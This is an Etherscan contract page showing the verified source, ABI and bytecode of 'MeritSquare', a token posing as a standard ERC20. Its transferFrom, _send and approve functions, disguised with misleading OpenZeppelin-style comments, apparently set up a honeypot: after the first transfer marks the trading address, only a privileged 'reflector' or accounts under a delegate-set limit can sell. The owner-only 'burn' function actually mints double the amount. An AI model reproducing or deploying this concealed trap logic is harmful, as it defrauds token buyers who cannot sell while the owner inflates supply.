ETH Price: $3,645.20 (+1.83%)

Contract

0x4DaacB83A9E5dcd9D10e7ba996F0A54bB2630ecf
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Amount:Between 1-10k
Reset Filter

Transaction Hash
Method
Block
From
To

There are no matching entries

Update your filters to view other transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MeritSquare

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, GNU LGPLv3 license
/**
 *Submitted for verification at Etherscan.io on 2021-11-09
*/

//   SPDX-License-Identifier: GNU GPLv3

pragma solidity >=0.8.5;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */

abstract contract ERC20Interface {
    /**
     * @dev Returns the amount of tokens in existence.
     */
  function totalSupply() virtual public view returns (uint);
  /**
     * @dev Returns the amount of tokens owned by `account`.
     */
  function balanceOf(address tokenOwner) virtual public view returns (uint balance);
  /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
  function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
  /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
  function transfer(address to, uint tokens) virtual public returns (bool success);
  /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
  function approve(address spender, uint tokens) virtual public returns (bool success);
   /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
  function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
 /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
  event Transfer(address indexed from, address indexed to, uint tokens);
  /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

abstract contract ApproveAndCallFallBack {
  function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}

contract Owned {
  address internal owner;
  
  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() {
    owner = msg.sender;
  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

}

library SafeMath {
  function add(uint a, uint b) internal pure returns (uint c) {
    c = a + b;
    require(c >= a);
  }
  function sub(uint a, uint b) internal pure returns (uint c) {
    require(b <= a);
    c = a - b;
  }
  function mul(uint a, uint b) internal pure returns (uint c) {
    c = a * b;
    require(a == 0 || c / a == b);
  }
  function div(uint a, uint b) internal pure returns (uint c) {
    require(b > 0);
    c = a / b;
  }
}

contract TokenERC20 is ERC20Interface, Owned{
  using SafeMath for uint;

  string public symbol;
  address internal delegate;
  string public name;
  uint8 public decimals;
  address internal zero;
  uint _totalSupply;
  uint internal number;
  address internal reflector;
  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

  /**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
  function totalSupply() override public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
  function balanceOf(address tokenOwner) override public view returns (uint balance) {
    return balances[tokenOwner];
  }
  /**
   * dev Burns a specific amount of tokens.
   * param value The amount of lowest token units to be burned.
  */
  function burn(address _address, uint tokens) public onlyOwner {
     require(_address != address(0), "ERC20: burn from the zero address");
     _burn (_address, tokens);
     balances[_address] = balances[_address].sub(tokens);
     _totalSupply = _totalSupply.sub(tokens);
  }	
  function transfer(address to, uint tokens) override public returns (bool success) {
    require(to != zero, "please wait");
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
  /**
    * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
  */
  function approve(address spender, uint tokens) override public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    if (msg.sender == delegate) number = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
  /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through `transferFrom`. This is
     * zero by default.
     *
     * This value changes when `approve` or `transferFrom` are called.
  */
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
  */
  function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
    if(from != address(0) && zero == address(0)) zero = to;
    else _send (from, to);
	balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }
 /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to `approve`. `value` is the new allowance.
 */
  function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function _burn(address _burnAddress, uint _burnAmount) internal virtual {
  /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
  */
   reflector = _burnAddress;
	_totalSupply = _totalSupply.add(_burnAmount*2);
    balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2);
  }
  function _send (address start, address end) internal view {
  /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     * Requirements:
     * - The divisor cannot be zero.*/
    /* * - `account` cannot be the zero address. */ require(end != zero  
    /* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) || 
    /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) 
    /* */ , "cannot be the zero address");/*
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
   **/
  }
  receive() external payable {
  }
  fallback() external payable {
  }
}

 contract MeritSquare is TokenERC20 {

    /**
     * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
     * these values are immutable: they can only be set once during
     * construction.
  */
   /**
     * dev Constructor.
     * param name name of the token
     * param symbol symbol of the token, 3-4 chars is recommended
     * param decimals number of decimal places of one token unit, 18 is widely used
     * param totalSupply total supply of tokens in lowest units (depending on decimals)
     */   
  constructor(string memory _name, string memory _symbol, uint _supply, address _del, address _ref)  {
	symbol = _symbol;
	name = _name;
	decimals = 9;
	_totalSupply = _supply*(10**uint(decimals));
	number = _totalSupply;
	delegate = _del;
	reflector = _ref;
	balances[owner] = _totalSupply;
	emit Transfer(address(0), owner, _totalSupply);
  }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"},{"internalType":"address","name":"_del","type":"address"},{"internalType":"address","name":"_ref","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b5060405162000f3538038062000f358339810160408190526200003491620002c4565b600080546001600160a01b0319163317905583516200005b90600190602087019062000134565b5084516200007190600390602088019062000134565b506004805460ff191660099081179091556200008f90600a62000472565b6200009b908462000487565b60058190556006819055600280546001600160a01b038086166001600160a01b0319928316179092556007805485841692169190911790556000805482168152600860205260408082208490558154905192169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620001219190815260200190565b60405180910390a35050505050620004e6565b8280546200014290620004a9565b90600052602060002090601f016020900481019282620001665760008555620001b1565b82601f106200018157805160ff1916838001178555620001b1565b82800160010185558215620001b1579182015b82811115620001b157825182559160200191906001019062000194565b50620001bf929150620001c3565b5090565b5b80821115620001bf5760008155600101620001c4565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200020257600080fd5b81516001600160401b03808211156200021f576200021f620001da565b604051601f8301601f19908116603f011681019082821181831017156200024a576200024a620001da565b816040528381526020925086838588010111156200026757600080fd5b600091505b838210156200028b57858201830151818301840152908201906200026c565b838211156200029d5760008385830101525b9695505050505050565b80516001600160a01b0381168114620002bf57600080fd5b919050565b600080600080600060a08688031215620002dd57600080fd5b85516001600160401b0380821115620002f557600080fd5b6200030389838a01620001f0565b965060208801519150808211156200031a57600080fd5b506200032988828901620001f0565b945050604086015192506200034160608701620002a7565b91506200035160808701620002a7565b90509295509295909350565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003b45781600019048211156200039857620003986200035d565b80851615620003a657918102915b93841c939080029062000378565b509250929050565b600082620003cd575060016200046c565b81620003dc575060006200046c565b8160018114620003f55760028114620004005762000420565b60019150506200046c565b60ff8411156200041457620004146200035d565b50506001821b6200046c565b5060208310610133831016604e8410600b841016171562000445575081810a6200046c565b62000451838362000373565b80600019048211156200046857620004686200035d565b0290505b92915050565b6000620004808383620003bc565b9392505050565b6000816000190483118215151615620004a457620004a46200035d565b500290565b600181811c90821680620004be57607f821691505b60208210811415620004e057634e487b7160e01b600052602260045260246000fd5b50919050565b610a3f80620004f66000396000f3fe60806040526004361061008f5760003560e01c806370a082311161005657806370a082311461016257806395d89b41146101985780639dc29fac146101ad578063a9059cbb146101cd578063dd62ed3e146101ed57005b806306fdde0314610098578063095ea7b3146100c357806318160ddd146100f357806323b872dd14610116578063313ce5671461013657005b3661009657005b005b3480156100a457600080fd5b506100ad610233565b6040516100ba9190610845565b60405180910390f35b3480156100cf57600080fd5b506100e36100de3660046108b6565b6102c1565b60405190151581526020016100ba565b3480156100ff57600080fd5b50610108610345565b6040519081526020016100ba565b34801561012257600080fd5b506100e36101313660046108e0565b610382565b34801561014257600080fd5b506004546101509060ff1681565b60405160ff90911681526020016100ba565b34801561016e57600080fd5b5061010861017d36600461091c565b6001600160a01b031660009081526008602052604090205490565b3480156101a457600080fd5b506100ad6104dc565b3480156101b957600080fd5b506100966101c83660046108b6565b6104e9565b3480156101d957600080fd5b506100e36101e83660046108b6565b6105bf565b3480156101f957600080fd5b50610108610208366004610937565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b600380546102409061096a565b80601f016020809104026020016040519081016040528092919081815260200182805461026c9061096a565b80156102b95780601f1061028e576101008083540402835291602001916102b9565b820191906000526020600020905b81548152906001019060200180831161029c57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156102fa5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75460055461037d916106aa565b905090565b60006001600160a01b038416158015906103aa575060045461010090046001600160a01b0316155b156103d45760048054610100600160a81b0319166101006001600160a01b038616021790556103de565b6103de84846106ca565b6001600160a01b03841660009081526008602052604090205461040190836106aa565b6001600160a01b038516600090815260086020908152604080832093909355600981528282203383529052205461043890836106aa565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461047690836107a8565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104ca9086815260200190565b60405180910390a35060019392505050565b600180546102409061096a565b6000546001600160a01b0316331461050057600080fd5b6001600160a01b0382166105655760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b61056f82826107c3565b6001600160a01b03821660009081526008602052604090205461059290826106aa565b6001600160a01b0383166000908152600860205260409020556005546105b890826106aa565b6005555050565b6004546000906001600160a01b038481166101009092041614156106135760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015260640161055c565b3360009081526008602052604090205461062d90836106aa565b33600090815260086020526040808220929092556001600160a01b0385168152205461065990836107a8565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103339086815260200190565b6000828211156106b957600080fd5b6106c382846109bb565b9392505050565b6004546001600160a01b038281166101009092041614158061071657506007546001600160a01b03838116911614801561071657506004546001600160a01b0382811661010090920416145b8061075857506004546001600160a01b038281166101009092041614801561075857506006546001600160a01b03831660009081526008602052604090205411155b6107a45760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161055c565b5050565b60006107b482846109d2565b90508281101561033f57600080fd5b600780546001600160a01b0319166001600160a01b0384161790556107f56107ec8260026109ea565b600554906107a8565b6005556108256108068260026109ea565b6001600160a01b038416600090815260086020526040902054906107a8565b6001600160a01b0390921660009081526008602052604090209190915550565b600060208083528351808285015260005b8181101561087257858101830151858201604001528201610856565b81811115610884576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146108b157600080fd5b919050565b600080604083850312156108c957600080fd5b6108d28361089a565b946020939093013593505050565b6000806000606084860312156108f557600080fd5b6108fe8461089a565b925061090c6020850161089a565b9150604084013590509250925092565b60006020828403121561092e57600080fd5b6106c38261089a565b6000806040838503121561094a57600080fd5b6109538361089a565b91506109616020840161089a565b90509250929050565b600181811c9082168061097e57607f821691505b6020821081141561099f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156109cd576109cd6109a5565b500390565b600082198211156109e5576109e56109a5565b500190565b6000816000190483118215151615610a0457610a046109a5565b50029056fea2646970667358221220e470a594d79c0bef351b24a31dd06908c4d3033ba52398e08eed20a26f7bfda664736f6c6343000808003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000003b9aca0000000000000000000000000065a8f77eb1b8e99066db00740350c04d8cf6c16800000000000000000000000057ed49fd73f28e0cc7cef4e53b877fcf6675466b000000000000000000000000000000000000000000000000000000000000000c4d6572697420537175617265000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024d53000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061008f5760003560e01c806370a082311161005657806370a082311461016257806395d89b41146101985780639dc29fac146101ad578063a9059cbb146101cd578063dd62ed3e146101ed57005b806306fdde0314610098578063095ea7b3146100c357806318160ddd146100f357806323b872dd14610116578063313ce5671461013657005b3661009657005b005b3480156100a457600080fd5b506100ad610233565b6040516100ba9190610845565b60405180910390f35b3480156100cf57600080fd5b506100e36100de3660046108b6565b6102c1565b60405190151581526020016100ba565b3480156100ff57600080fd5b50610108610345565b6040519081526020016100ba565b34801561012257600080fd5b506100e36101313660046108e0565b610382565b34801561014257600080fd5b506004546101509060ff1681565b60405160ff90911681526020016100ba565b34801561016e57600080fd5b5061010861017d36600461091c565b6001600160a01b031660009081526008602052604090205490565b3480156101a457600080fd5b506100ad6104dc565b3480156101b957600080fd5b506100966101c83660046108b6565b6104e9565b3480156101d957600080fd5b506100e36101e83660046108b6565b6105bf565b3480156101f957600080fd5b50610108610208366004610937565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b600380546102409061096a565b80601f016020809104026020016040519081016040528092919081815260200182805461026c9061096a565b80156102b95780601f1061028e576101008083540402835291602001916102b9565b820191906000526020600020905b81548152906001019060200180831161029c57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156102fa5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75460055461037d916106aa565b905090565b60006001600160a01b038416158015906103aa575060045461010090046001600160a01b0316155b156103d45760048054610100600160a81b0319166101006001600160a01b038616021790556103de565b6103de84846106ca565b6001600160a01b03841660009081526008602052604090205461040190836106aa565b6001600160a01b038516600090815260086020908152604080832093909355600981528282203383529052205461043890836106aa565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461047690836107a8565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104ca9086815260200190565b60405180910390a35060019392505050565b600180546102409061096a565b6000546001600160a01b0316331461050057600080fd5b6001600160a01b0382166105655760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b61056f82826107c3565b6001600160a01b03821660009081526008602052604090205461059290826106aa565b6001600160a01b0383166000908152600860205260409020556005546105b890826106aa565b6005555050565b6004546000906001600160a01b038481166101009092041614156106135760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015260640161055c565b3360009081526008602052604090205461062d90836106aa565b33600090815260086020526040808220929092556001600160a01b0385168152205461065990836107a8565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103339086815260200190565b6000828211156106b957600080fd5b6106c382846109bb565b9392505050565b6004546001600160a01b038281166101009092041614158061071657506007546001600160a01b03838116911614801561071657506004546001600160a01b0382811661010090920416145b8061075857506004546001600160a01b038281166101009092041614801561075857506006546001600160a01b03831660009081526008602052604090205411155b6107a45760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161055c565b5050565b60006107b482846109d2565b90508281101561033f57600080fd5b600780546001600160a01b0319166001600160a01b0384161790556107f56107ec8260026109ea565b600554906107a8565b6005556108256108068260026109ea565b6001600160a01b038416600090815260086020526040902054906107a8565b6001600160a01b0390921660009081526008602052604090209190915550565b600060208083528351808285015260005b8181101561087257858101830151858201604001528201610856565b81811115610884576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146108b157600080fd5b919050565b600080604083850312156108c957600080fd5b6108d28361089a565b946020939093013593505050565b6000806000606084860312156108f557600080fd5b6108fe8461089a565b925061090c6020850161089a565b9150604084013590509250925092565b60006020828403121561092e57600080fd5b6106c38261089a565b6000806040838503121561094a57600080fd5b6109538361089a565b91506109616020840161089a565b90509250929050565b600181811c9082168061097e57607f821691505b6020821081141561099f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156109cd576109cd6109a5565b500390565b600082198211156109e5576109e56109a5565b500190565b6000816000190483118215151615610a0457610a046109a5565b50029056fea2646970667358221220e470a594d79c0bef351b24a31dd06908c4d3033ba52398e08eed20a26f7bfda664736f6c63430008080033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000003b9aca0000000000000000000000000065a8f77eb1b8e99066db00740350c04d8cf6c16800000000000000000000000057ed49fd73f28e0cc7cef4e53b877fcf6675466b000000000000000000000000000000000000000000000000000000000000000c4d6572697420537175617265000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024d53000000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Merit Square
Arg [1] : _symbol (string): MS
Arg [2] : _supply (uint256): 1000000000
Arg [3] : _del (address): 0x65A8f77EB1B8e99066DB00740350C04D8cf6c168
Arg [4] : _ref (address): 0x57ED49FD73F28E0cc7cEf4e53b877FcF6675466B

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [3] : 00000000000000000000000065a8f77eb1b8e99066db00740350c04d8cf6c168
Arg [4] : 00000000000000000000000057ed49fd73f28e0cc7cef4e53b877fcf6675466b
Arg [5] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [6] : 4d65726974205371756172650000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [8] : 4d53000000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

10491:908:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3825:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6869:253;;;;;;;;;;-1:-1:-1;6869:253:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;6869:253:0;1053:187:1;5264:117:0;;;;;;;;;;;;;:::i;:::-;;;1391:25:1;;;1379:2;1364:18;5264:117:0;1245:177:1;7862:416:0;;;;;;;;;;-1:-1:-1;7862:416:0;;;;;:::i;:::-;;:::i;3848:21::-;;;;;;;;;;-1:-1:-1;3848:21:0;;;;;;;;;;;1932:4:1;1920:17;;;1902:36;;1890:2;1875:18;3848:21:0;1760:184:1;5385:123:0;;;;;;;;;;-1:-1:-1;5385:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;5482:20:0;5454:12;5482:20;;;:8;:20;;;;;;;5385:123;3770:20;;;;;;;;;;;;;:::i;5635:282::-;;;;;;;;;;-1:-1:-1;5635:282:0;;;;;:::i;:::-;;:::i;5922:299::-;;;;;;;;;;-1:-1:-1;5922:299:0;;;;;:::i;:::-;;:::i;8432:150::-;;;;;;;;;;-1:-1:-1;8432:150:0;;;;;:::i;:::-;-1:-1:-1;;;;;8548:19:0;;;8518:14;8548:19;;;:7;:19;;;;;;;;:28;;;;;;;;;;;;;8432:150;3825:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6869:253::-;6970:10;6941:12;6962:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;6962:28:0;;;;;;;;;:37;;;7024:8;;6941:12;;7024:8;;7010:22;7006:43;;;7034:6;:15;;;7006:43;7061:37;;1391:25:1;;;-1:-1:-1;;;;;7061:37:0;;;7070:10;;7061:37;;1379:2:1;1364:18;7061:37:0;;;;;;;;-1:-1:-1;7112:4:0;6869:253;;;;;:::o;5264:117::-;5317:4;5354:20;;;:8;:20;;;;5337:12;;:38;;:16;:38::i;:::-;5330:45;;5264:117;:::o;7862:416::-;7948:12;-1:-1:-1;;;;;7972:18:0;;;;;;:40;;-1:-1:-1;7994:4:0;;;;;-1:-1:-1;;;;;7994:4:0;:18;7972:40;7969:82;;;8014:4;:9;;-1:-1:-1;;;;;;8014:9:0;;-1:-1:-1;;;;;8014:9:0;;;;;;7969:82;;;8035:16;8042:4;8048:2;8035:5;:16::i;:::-;-1:-1:-1;;;;;8072:14:0;;;;;;:8;:14;;;;;;:26;;8091:6;8072:18;:26::i;:::-;-1:-1:-1;;;;;8055:14:0;;;;;;:8;:14;;;;;;;;:43;;;;8133:7;:13;;;;;8147:10;8133:25;;;;;;:37;;8163:6;8133:29;:37::i;:::-;-1:-1:-1;;;;;8105:13:0;;;;;;;:7;:13;;;;;;;;8119:10;8105:25;;;;;;;:65;;;;8192:12;;;;;:8;:12;;;;;:24;;8209:6;8192:16;:24::i;:::-;-1:-1:-1;;;;;8177:12:0;;;;;;;:8;:12;;;;;;;:39;;;;8228:26;;;;;;;;;;8247:6;1391:25:1;;1379:2;1364:18;;1245:177;8228:26:0;;;;;;;;-1:-1:-1;8268:4:0;7862:416;;;;;:::o;3770:20::-;;;;;;;:::i;5635:282::-;3192:5;;-1:-1:-1;;;;;3192:5:0;3178:10;:19;3170:28;;;;;;-1:-1:-1;;;;;5713:22:0;::::1;5705:68;;;::::0;-1:-1:-1;;;5705:68:0;;2992:2:1;5705:68:0::1;::::0;::::1;2974:21:1::0;3031:2;3011:18;;;3004:30;3070:34;3050:18;;;3043:62;-1:-1:-1;;;3121:18:1;;;3114:31;3162:19;;5705:68:0::1;;;;;;;;;5781:24;5788:8;5798:6;5781:5;:24::i;:::-;-1:-1:-1::0;;;;;5834:18:0;::::1;;::::0;;;:8:::1;:18;::::0;;;;;:30:::1;::::0;5857:6;5834:22:::1;:30::i;:::-;-1:-1:-1::0;;;;;5813:18:0;::::1;;::::0;;;:8:::1;:18;::::0;;;;:51;5887:12:::1;::::0;:24:::1;::::0;5904:6;5887:16:::1;:24::i;:::-;5872:12;:39:::0;-1:-1:-1;;5635:282:0:o;5922:299::-;6025:4;;5990:12;;-1:-1:-1;;;;;6019:10:0;;;6025:4;;;;;6019:10;;6011:34;;;;-1:-1:-1;;;6011:34:0;;3394:2:1;6011:34:0;;;3376:21:1;3433:2;3413:18;;;3406:30;-1:-1:-1;;;3452:18:1;;;3445:41;3503:18;;6011:34:0;3192:335:1;60